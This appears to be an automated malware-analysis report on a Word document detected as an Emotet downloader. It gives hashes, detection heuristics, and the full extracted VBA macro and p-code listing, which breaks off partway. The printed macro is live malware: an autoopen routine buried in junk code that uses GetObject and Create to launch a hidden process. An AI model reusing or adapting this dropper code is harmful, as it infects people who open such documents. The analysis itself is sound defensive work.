Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a80e79117ec8b82…

MALICIOUS

Office (OLE)

213.5 KB Created: 2019-04-02 20:54:00 Authoring application: Microsoft Office Word First seen: 2021-02-09
MD5: e44d1b595abb7e23db9debd175673881 SHA-1: 6f3c836a5cfffd972fe7511a92648066a4821107 SHA-256: 2a80e79117ec8b828d768ebccafbf64d4ec2c876d8cfe1bb7a8c07006764e9b8
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6922353-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6922353-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set CU4QZAQA = GetObject(wxwBDwZG.VxkwACcA.Text + tADUBDQ.AQQAUDA + wxwBDwZG.VxkwACcA)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32990 bytes
SHA-256: 73fe45d602db679b75d7296eb7cdc3290c87a69751656bf9837eb57ad0bc45db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "XAQBkA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wxwBDwZG"
Attribute VB_Base = "0{8C207F09-D45C-4354-9678-EDCE14E8D983}{6FD50A05-7658-4AFC-9909-DD91C13A5A12}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "tADUBDQ"
Attribute VB_Base = "0{F8F8B0BA-8CAD-492F-9938-90329B9C2B00}{AA37439C-A046-4740-9C6D-14883CB49D95}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "icAAA4Ak"
Function iAAAAQc()
   If 968801687 = 698554612 Then
NoDXABC = NAAAAGo + Int(191902396 * Asc(lAoUXAAA) + LxZk_A _
/ 481272899) + AAoAwXAo / CLng(rXxkcoQD) - (bxAADAwA - FXcABCBx / 665876920 - Tan _
(o4ACkw) + (MUA1xAx / CSng(YCckA4oA) + _
195905500 / Sgn(693659049) * (CAUGAQ + CVar(395205126))))
End If
   If 159317864 = 784235672 Then
wxCUwQA = i_AXQAkc + Int(452685675 * Asc(n1C4AZ) + kA4ACoBc _
/ 706049415) + aA4AAwU / CLng(OAZUQQ) - (EDwA1oGA - sAwAUBcA / 431381355 - Tan _
(aDQc1GA) + (KUABADAA / CSng(wA_ZQXck) + _
507386640 / Sgn(667807939) * (GGABc_Ax + CVar(190171882))))
End If
End Function
Function DA1UcB()
   If 40728064 = 436499587 Then
cAAQA_ = ukBUUAQ + Int(770176373 * Asc(nAADkBQA) + kAoQwA _
/ 226956810) + rkAAxAZB / CLng(FDAAXG) - (YZAwZo - swA_QQGA / 284618245 - Tan _
(iAA4co) + (MGoGDAQ / CSng(c44ADkX) + _
273767340 / Sgn(35381835) * (iAko_BA + CVar(239591774))))
End If
   If 575340778 = 325960289 Then
QGUoBUAA = mBZoAw + Int(77699607 * Asc(SCxABQZB) + wUoXwA _
/ 565143498) + RAUBkc1 / CLng(lDcQCA_C) - (skDkBA - sU1AQA41 / 258948210 - Tan _
(uGAAABA) + (WAUABQ / CSng(NZAGDAA) + _
303046100 / Sgn(454669530) * (mAGXAB + CVar(411304349))))
End If
End Function
Sub autoopen()
EBAxZADo
End Sub
Function EBAxZADo()
On Error Resume Next
   If 588811461 = 547650308 Then
jBAUcAwQ = VAADAAC + Int(655053883 * Asc(bBAZQAo) + FUkBBkA _
/ 259189112) + UDDAAA / CLng(wAU_CAUA) - (GAXAAAD - PowAAA / 446357134 - Tan _
(IAA4AxA) + (jQwAUD / CSng(OxcXAQ) + _
585803329 / Sgn(633114700) * (mAAAZUAc + CVar(860891315))))
End If
   If 325402014 = 403692577 Then
iQkADUAC = wABQUAGA + Int(646286443 * Asc(MDAZxQA) + Gx1CCxAU _
/ 502262463) + PZAABAkA / CLng(AAAwA_o) - (vUDAGAA - T41AAQD / 749061529 - Tan _
(zDGoA_k) + (lQBXBAD / CSng(mcAQ1BAG) + _
51516853 / Sgn(201846791) * (tGxA41 + CVar(249964960))))
End If
   If 165370728 = 432108208 Then
j_DAA1AX = YBQxwBUQ + Int(94348623 * Asc(UBQUXCAD) + Y_AAAZAA _
/ 695744410) + kAAoAQG / CLng(hAxxwA) - (wAADZcx - LAAADUAA / 680501757 - Tan _
(aAAAZw) + (X4BoGG / CSng(p1wAAAw) + _
313752168 / Sgn(240236454) * (cC14Bw + CVar(543199086))))
End If
Set CU4QZAQA = GetObject(wxwBDwZG.VxkwACcA.Text + tADUBDQ.AQQAUDA + wxwBDwZG.VxkwACcA)
   If 704213573 = 4933024 Then
bX1AAAZA = cAxADADw + Int(916744256 * Asc(RAGAZU) + OGABAQA _
/ 488140956) + DCAQA1 / CLng(VkQUZD) - (KQADQA_ - L1A4U_A / 804734803 - Tan _
(IAAGUXX1) + (cXABADAB / CSng(W_BxQcx) + _
695976957 / Sgn(714784738) * (vAwkXUD + CVar(252985861))))
End If
   If 773105500 = 640758614 Then
k_1AoAo = pUZBGQo + Int(443403743 * Asc(Y41QZAwA) + hDAAZGU _
/ 630792612) + uQAABD4A / CLng(IDBBABUG) - (jAA_CAAG - rAAUAU / 683727527 - Tan _
(VA4AXU) + (MAAAxB1k / CSng(XDkAA1AA) + _
898090689 / Sgn(947310579) * (zXA_UUDB + CVar(608285618))))
End If
   If 862658022 = 468967744 Then
AAAAA1c = LABoAA + Int(43606693 * Asc(wAZQACZc) + wABABD_B _
/ 54797715) + v_A4xA / CLng(lGAAcQQB) - (SACkAAxG - bAwcUA / 7062242 - Tan _
(IxAUc_Dx) + (SAZADUB / CSng(MD4D_DAB) + _
443149646 / Sgn(940644877) * (bccDA1 + CVar(326396013))))
End If
If 69854 = 69854 Then
   If 787957234 = 987146375 Then
jUAA_A = Y1AoAc1 + Int(374658891 * Asc(EGxUwA) + D1cQD_c _
/ 230129330) + d4AkBcZ / CLng(VA_AGGG) - (FwA4XoD - vXAoUkA / 805647180 - Tan _
(wkxoDD) + (fc1oAQD / CSng(ZCAAxZA) + _
598947587 / Sgn(920865178) * (nAGBADC + CVar(514334608))))
End If
   If 746549773 = 107052023 Then
tAAwUcU = nAAQBUAQ + Int(966632212 * Asc(swAxDA) + HAAGAB _
/ 757283921) + hAxcXA / CLng(aAoA1AQA) - (iAwkDCD - wwcwDc / 370822126 - Tan _
(XwGAAw) + (HABAAAQ / CSng(ZAQADA) + _
119778153 / Sgn(259130662) * (aUQACA4 + CVar(168955290))))
End If
CU4QZAQA. _
ShOwWiNdOw = wxwBDwZG.dUAQkkAx - wxwBDwZG.dUAQkkAx + wxwBDwZG.dUAQkkAx + wxwBDwZG.dUAQkkAx + wxwBDwZG.dUAQkkAx
   If 581476863 = 953112377 Then
mkAA4AXX = tkwUxADA + Int(137092550 * Asc(CQBDAB) + fQQAQ4 _
/ 992845015) + FD41QA / CLng(oQZCAAAD) - (QUDA4ACx - Z_kAoAA / 40814603 - Tan _
(ac4kAA) + (T_UQDA / CSng(KC_CDZ) + _
920076647 / Sgn(901570620) * (i_DAAQ + CVar(126652278))))
End If
   If 116564379 = 491453299 Then
FABBAkAC = TAADDX + Int(210338441 * Asc(IQcQCAQ) + QQoAAA _
/ 952157933) + dAABBUAC / CLng(JAAkAow1) - (j1BCkA - jABUC_ / 648027536 - Tan _
(icAUcAc) + (VAAoGBAA / CSng(E1_AAQ) + _
315322000 / Sgn(2300802) * (a__QQAAo + CVar(541455486))))
End If
   If 887440394 = 53719049 Then
LQAwUXAw = I4CUXAAx + Int(885544029 * Asc(TQACA4) + OQAQBAGA _
/ 322996844) + VAAQBA / CLng(mAABA1U) - (Y1GBGQBX - UAQGU4 / 742473894 - Tan _
(jx4GcxwA) + (XwB_G4xQ / CSng(noB1AGQw) + _
975572153 / Sgn(903956760) * (zBwcB4G + CVar(573283063))))
End If
End If
   If 268826003 = 77805561 Then
IcAUkU = ZxQDAA + Int(622975474 * Asc(dADkCZ) + QU1wBD _
/ 192960261) + mU1ADB / CLng(zDUAAB) - (BUAwxw__ - zwCCCDAA / 900351674 - Tan _
(AwoADxA) + (DAQUQDBG / CSng(zABQBAD) + _
9401286 / Sgn(140622668) * (qG1AxZAX + CVar(946832200))))
End If
   If 717966595 = 340787696 Then
SA1AGcA = RAGABB + Int(432644279 * Asc(RQ4XZAAD) + SDwwGAD _
/ 461254329) + uBcQwUAA / CLng(EQAcxBAA) - (w44UZck - jXUAUA / 768961849 - Tan _
(zAocXZ_B) + (MDAwxC / CSng(zA1ABA) + _
925354748 / Sgn(221176693) * (TkXwxDwA + CVar(486821751))))
End If
   If 672810836 = 930097760 Then
YXBBQA = zQwGcABk + Int(521846826 * Asc(EAAAcU) + j_CQADB _
/ 567084539) + r_XAGA / CLng(zAZAAAko) - (BB4Aw_ - BxAAUGU / 100549951 - Tan _
(sA_kCA) + (sAxAAA / CSng(cAUUAUA) + _
135531324 / Sgn(306938615) * (jAADAwA + CVar(31123055))))
End If
Call GetObject(wxwBDwZG.VxkwACcA.Text + tADUBDQ.zA1ABC + wxwBDwZG.VxkwACcA.Text).Create((wxwBDwZG.VxkwACcA + tADUBDQ.sQCAZAZ + wxwBDwZG.VxkwACcA.ControlSource + tADUBDQ.hDAoA4AA + wxwBDwZG.VxkwACcA.Text + wxwBDwZG.VxkwACcA + tADUBDQ.P4A_AQA + wxwBDwZG.VxkwACcA.Text + wxwBDwZG.VxkwACcA.Text + tADUBDQ.pcQA4QB + wxwBDwZG.VxkwACcA.Text + tADUBDQ.JAAZ1AAA + wxwBDwZG.VxkwACcA.Text), vBcAA4Qc, CU4QZAQA, wxwBDwZG.VxkwACcA.Text)
   If 984340673 = 224291405 Then
sBAXAUAU = HAAA_AU + Int(853895919 * Asc(B_BAAA4) + ToAAUwUA _
/ 638670694) + uAABxA / CLng(zwAk_QGD) - (GZQACUQ - BBAxDQ4 / 546169429 - Tan _
(AwAoBAB_) + (aUBUZZA / CSng(kDQAoQ) + _
192826151 / Sgn(200064501) * (iBw1GxAZ + CVar(623071606))))
End If
   If 472884208 = 105033589 Then
ro4A_A = iBxUCAB + Int(393282252 * Asc(cZUBAwZ4) + PAQcAB _
/ 802989622) + rQQAQU4 / CLng(FA1AAQ) - (hc4UQB - NAQxwU / 239395553 - Tan _
(IUxB4AA1) + (zBCGAAA / CSng(Yw1GBAQk) + _
850692285 / Sgn(924129900) * (dQQ_AQAA + CVar(536318915))))
End If
   If 277141235 = 438272343 Then
uUAoQDA = mXUA_Bo + Int(133103597 * Asc(jD1k_BD) + NAXAAAB _
/ 728277478) + vABU1oA / CLng(QcoADA) - (i4Ax_A - hBAkZ4 / 128461841 - Tan _
(NBAGxwAG) + (ZUQDUBx / CSng(tA_DoU) + _
651106530 / Sgn(325249303) * (rUokDB + CVar(466715192))))
End If
End Function
Function SADUBXA()
   If 643091620 = 439919924 Then
nxAw__x = pBAAQ4Z + Int(752342939 * Asc(LcAXZAB) + bABDAC _
/ 56303689) + hAAxBU_4 / CLng(zXZABAcQ) - (GAoAxXAc - JUAQk1D / 201185330 - Tan _
(lACowBA) + (VGAAQ4 / CSng(JcUUZUcZ) + _
283399501 / Sgn(924585652) * (OBQkADwc + CVar(992383371))))
End If
   If 122549157 = 584244171 Then
O_XABU = pAXxAAZ + Int(761702390 * Asc(MkwUAQA) + sxBXC4w _
/ 941698228) + ikAwBkA / CLng(hAc_AA) - (oBAAXA - fC_wAk / 706572378 - Tan _
(wA4oU4Z) + (nAoBwA / CSng(WUAAUC) + _
666215655 / Sgn(914597649) * (IDBQBw + CVar(71072176))))
End If
   If 125745529 = 268975582 Then
mAo_A1A = nUQBUCG + Int(656471133 * Asc(pAk41wAZ) + OxQAAAAU _
/ 269484893) + lG1XX1AZ / CLng(zUBxx4A) - (BQAA1Q - oD41UAA / 88987072 - Tan _
(UDCZxADA) + (WAAUAxok / CSng(AADACAAA) + _
560031723 / Sgn(582212454) * (SQAZ1QQw + CVar(534105158))))
End If
End Function
Function VDcAAxUA()
   If 669268639 = 526657089 Then
SDcX1AAc = NDxAGDC + Int(75897133 * Asc(XUDwwDU) + AQXAAUoB _
/ 360094463) + pGADwG1 / CLng(XZ4AAZ) - (mcwUQDUo - J_AwBAB / 542497833 - Tan _
(zxBAXxA) + (ocAAok / CSng(qA4_ZXD) + _
92483039 / Sgn(70536134) * (vABAAk + CVar(10607170))))
End If
   If 142545408 = 791854338 Then
vUGXADZ = MABUDADZ + Int(725910608 * Asc(tBkAGUG) + QCC_wAwQ _
/ 905902743) + zXAAUAQA / CLng(hAABADB) - (QAAA41o - DZA4A1 / 468041284 - Tan _
(tUQAB4) + (cXA_AAo / CSng(QAoxcZ) + _
34621301 / Sgn(622421769) * (FAA_DDB + CVar(701403031))))
End If
   If 953591325 = 690930919 Then
WAAAB1 = nAx_Xw + Int(836601433 * Asc(wZ_1kBAo) + uD_xAC _
/ 277261062) + J4ACXDA / CLng(fBDXBx) - (vAAQUA - dU1AUQ / 921307716 - Tan _
(YAAQAC) + (p1UAUZ_ / CSng(BQXB_A) + _
744255586 / Sgn(664714464) * (CwADAGc + CVar(384509734))))
End If
End Function


' Processing file: /opt/analyzer/scan_staging/9916ce841cbd415784ee63debee8beb2.bin
' ===============================================================================
' Module streams:
' Macros/VBA/XAQBkA - 1104 bytes
' Macros/VBA/wxwBDwZG - 1157 bytes
' Macros/VBA/tADUBDQ - 1158 bytes
' Macros/VBA/icAAA4Ak - 13703 bytes
' Line #0:
' 	FuncDefn (Function icAAA4Ak())
' Line #1:
' 	LitDI4 0xBD97 0x39BE 
' 	LitDI4 0x18F4 0x29A3 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld NoDXABC 
' 	LitDI4 0x32BC 0x0B70 
' 	Ld NAAAAGo 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld lAoUXAAA 
' 	LitDI4 0xA443 0x1CAF 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld LxZk_A 
' 	Ld AAoAwXAo 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld rXxkcoQD 
' 	Ld bxAADAwA 
' 	LitDI4 0x79B8 0x27B0 
' 	Div 
' 	Sub 
' 	Ld FXcABCBx 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld o4ACkw 
' 	Ld MUA1xAx 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x47DC 0x0BAD 
' 	LitDI4 0x65A9 0x2958 
' 	FnSgn 
' 	Div 
' 	Ld YCckA4oA 
' 	LitDI4 0x5A06 0x178E 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St iAAAAQc 
' Line #3:
' 	EndIfBlock 
' Line #4:
' 	LitDI4 0xFF68 0x097E 
' 	LitDI4 0x7C98 0x2EBE 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld wxCUwQA 
' 	LitDI4 0x6F6B 0x1AFB 
' 	Ld i_AXQAkc 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld n1C4AZ 
' 	LitDI4 0x7587 0x2A15 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld kA4ACoBc 
' 	Ld aA4AAwU 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld OAZUQQ 
' 	Ld EDwA1oGA 
' 	LitDI4 0x5B6B 0x19B6 
' 	Div 
' 	Sub 
' 	Ld sAwAUBcA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld aDQc1GA 
' 	Ld KUABADAA 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x1B10 0x1E3E 
' 	LitDI4 0xF0C3 0x27CD 
' 	FnSgn 
' 	Div 
' 	Ld wA_ZQXck 
' 	LitDI4 0xCAEA 0x0B55 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St CAUGAQ 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	EndFunc 
' Line #8:
' 	FuncDefn (Function GGABc_Ax())
' Line #9:
' 	LitDI4 0x7600 0x026D 
' 	LitDI4 0x7483 0x1A04 
' 	Eq 
' 	IfBlock 
' Line #10:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld cAAQA_ 
' 	LitDI4 0xF575 0x2DE7 
' 	Ld ukBUUAQ 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld nAADkBQA 
' 	LitDI4 0x160A 0x0D87 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld kAoQwA 
' 	Ld rkAAxAZB 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld FDAAXG 
' 	Ld YZAwZo 
' 	LitDI4 0xEE05 0x10F6 
' 	Div 
' 	Sub 
' 	Ld swA_QQGA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld iAA4co 
' 	Ld MGoGDAQ 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x5BAC 0x1051 
' 	LitDI4 0xE24B 0x021B 
' 	FnSgn 
' 	Div 
' 	Ld c44ADkX 
' 	LitDI4 0xE15E 0x0E47 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St DA1UcB 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	LitDI4 0x00EA 0x224B 
' 	LitDI4 0xC261 0x136D 
' 	Eq 
' 	IfBlock 
' Line #13:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld QGUoBUAA 
' 	LitDI4 0x9A17 0x04A1 
' 	Ld mBZoAw 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld SCxABQZB 
' 	LitDI4 0x67CA 0x21AF 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld wUoXwA 
' 	Ld RAUBkc1 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld lDcQCA_C 
' 	Ld skDkBA 
' 	LitDI4 0x3C72 0x0F6F 
' 	Div 
' 	Sub 
' 	Ld sU1AQA41 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld uGAAABA 
' 	Ld WAUABQ 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x1DD4 0x1210 
' 	LitDI4 0xB4DA 0x1B19 
' 	FnSgn 
' 	Div 
' 	Ld NZAGDAA 
' 	LitDI4 0x019D 0x1884 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St iAko_BA 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	EndFunc 
' Line #16:
' 	FuncDefn (Sub mAGXAB())
' Line #17:
' 	ArgsCall autoopen 0x0000 
' Line #18:
' 	EndSub 
' Line #19:
' 	FuncDefn (Function autoopen())
' Line #20:
' 	OnError (Resume Next) 
' Line #21:
' 	LitDI4 0x8CC5 0x2318 
' 	LitDI4 0x7B04 0x20A4 
' 	Eq 
' 	IfBlock 
' Line #22:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld jBAUcAwQ 
' 	LitDI4 0x543B 0x270B 
' 	Ld VAADAAC 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld bBAZQAo 
' 	LitDI4 0xE978 0x0F72 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld FUkBBkA 
' 	Ld UDDAAA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld wAU_CAUA 
' 	Ld GAXAAAD 
' 	LitDI4 0xDE8E 0x1A9A 
' 	Div 
' 	Sub 
' 	Ld PowAAA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld IAA4AxA 
' 	Ld jQwAUD 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0xA641 0x22EA 
' 	LitDI4 0x904C 0x25BC 
' 	FnSgn 
' 	Div 
' 	Ld OxcXAQ 
' 	LitDI4 0x28B3 0x3350 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St EBAxZADo 
' Line #23:
' 	EndIfBlock 
' Line #24:
' 	LitDI4 0x3D9E 0x1365 
' 	LitDI4 0xDC21 0x180F 
' 	Eq 
' 	IfBlock 
' Line #25:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld iQkADUAC 
' 	LitDI4 0x8C6B 0x2685 
' 	Ld wABQUAGA 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld MDAZxQA 
' 	LitDI4 0xEABF 0x1DEF 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld Gx1CCxAU 
' 	Ld PZAABAkA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld AAAwA_o 
' 	Ld vUDAGAA 
' 	LitDI4 0xC599 0x2CA5 
' 	Div 
' 	Sub 
' 	Ld T41AAQD 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld zDGoA_k 
' 	Ld lQBXBAD 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x15B5 0x0312 
' 	LitDI4 0xF007 0x0C07 
' 	FnSgn 
' 	Div 
' 	Ld mcAQ1BAG 
' 	LitDI4 0x29A0 0x0EE6 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St mAAAZUAc 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	LitDI4 0x5B68 0x09DB 
' 	LitDI4 0x72B0 0x19C1 
' 	Eq 
' 	IfBlock 
' Line #28:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld j_DAA1AX 
' 	LitDI4 0xA54F 0x059F 
' 	Ld YBQxwBUQ 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld UBQUXCAD 
' 	LitDI4 0x379A 0x2978 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld Y_AAAZAA 
' 	Ld kAAoAQG 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld hAxxwA 
' 	Ld wAADZcx 
' 	LitDI4 0xA1FD 0x288F 
' 	Div 
' 	Sub 
' 	Ld LAAADUAA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld aAAAZw 
' 	Ld X4BoGG 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0x7A68 0x12B3 
' 	LitDI4 0xB7A6 0x0E51 
' 	FnSgn 
' 	Div 
' 	Ld p1wAAAw 
' 	LitDI4 0x8F6E 0x2060 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St tGxA41 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	SetStmt 
' 	Ld tADUBDQ 
' 	MemLd GetObject 
' 	MemLd Text 
' 	Ld MSForms 
' 	MemLd VxkwACcA 
' 	Add 
' 	Ld tADUBDQ 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd CU4QZAQA 0x0001 
' 	Set cC14Bw 
' Line #31:
' 	LitDI4 0x7245 0x29F9 
' 	LitDI4 0x45A0 0x004B 
' 	Eq 
' 	IfBlock 
' Line #32:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld bX1AAAZA 
' 	LitDI4 0x6840 0x36A4 
' 	Ld cAxADADw 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld RAGAZU 
' 	LitDI4 0x709C 0x1D18 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld OGABAQA 
' 	Ld DCAQA1 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld VkQUZD 
' 	Ld KQADQA_ 
' 	LitDI4 0x4753 0x2FF7 
' 	Div 
' 	Sub 
' 	Ld L1A4U_A 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld IAAGUXX1 
' 	Ld cXABADAB 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0xC3FD 0x297B 
' 	LitDI4 0xBFE2 0x2A9A 
' 	FnSgn 
' 	Div 
' 	Ld W_BxQcx 
' 	LitDI4 0x4205 0x0F14 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St AQQAUDA 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	LitDI4 0xA75C 0x2E14 
' 	LitDI4 0x3356 0x2631 
' 	Eq 
' 	IfBlock 
' Line #35:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld k_1AoAo 
' 	LitDI4 0xCDDF 0x1A6D 
' 	Ld pUZBGQo 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld Y41QZAwA 
' 	LitDI4 0x21A4 0x2599 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld hDAAZGU 
' 	Ld uQAABD4A 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld IDBBABUG 
' 	Ld jAA_CAAG 
' 	LitDI4 0xDAA7 0x28C0 
' 	Div 
' 	Sub 
' 	Ld rAAUAU 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld VA4AXU 
' 	Ld MAAAxB1k 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0xC6C1 0x3587 
' 	LitDI4 0xCFF3 0x3876 
' 	FnSgn 
' 	Div 
' 	Ld XDkAA1AA 
' 	LitDI4 0xB3B2 0x2441 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St vAwkXUD 
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	LitDI4 0x1DE6 0x336B 
' 	LitDI4 0xE140 0x1BF3 
' 	Eq 
' 	IfBlock 
' Line #38:
' 	LineCont 0x000C 0E 00 00 00 21 00 00 00 2D 00 00 00
' 	Ld AAAAA1c 
' 	LitDI4 0x62A5 0x0299 
' 	Ld LABoAA 
' 	ArgsLd Asc 0x0001 
' 	Mul 
' 	Ld wAZQACZc 
' 	LitDI4 0x2593 0x0344 
' 	Div 
' 	Add 
' 	FnInt 
' 	Add 
' 	Ld wABABD_B 
' 	Ld v_A4xA 
' 	Coerce (Lng) 
' 	Div 
' 	Add 
' 	Ld lGAAcQQB 
' 	Ld SACkAAxG 
' 	LitDI4 0xC2E2 0x006B 
' 	Div 
' 	Sub 
' 	Ld bAwcUA 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	Ld IxAUc_Dx 
' 	Ld SAZADUB 
' 	Coerce (Sng) 
' 	Div 
' 	LitDI4 0xED4E 0x1A69 
' 	LitDI4 0x1A0D 0x3811 
' 	FnSgn 
' 	Div 
' 	Ld MD4D_DAB 
' 	LitDI4 0x686D 0x1374 
' 	Coerce (Var) 
' 	Add 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	Paren 
' 	Sub 
' 	St zXA_UUDB 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	LitDI4 0x10DE 0x0001 
' 	LitDI4 0x10DE 0x0001 
' 	Eq 
' 	IfBlock 
' Line #41:
' 	LitDI4 0x45F2 0x2EF7 
' 	LitDI4 0xA887 0x3AD6 
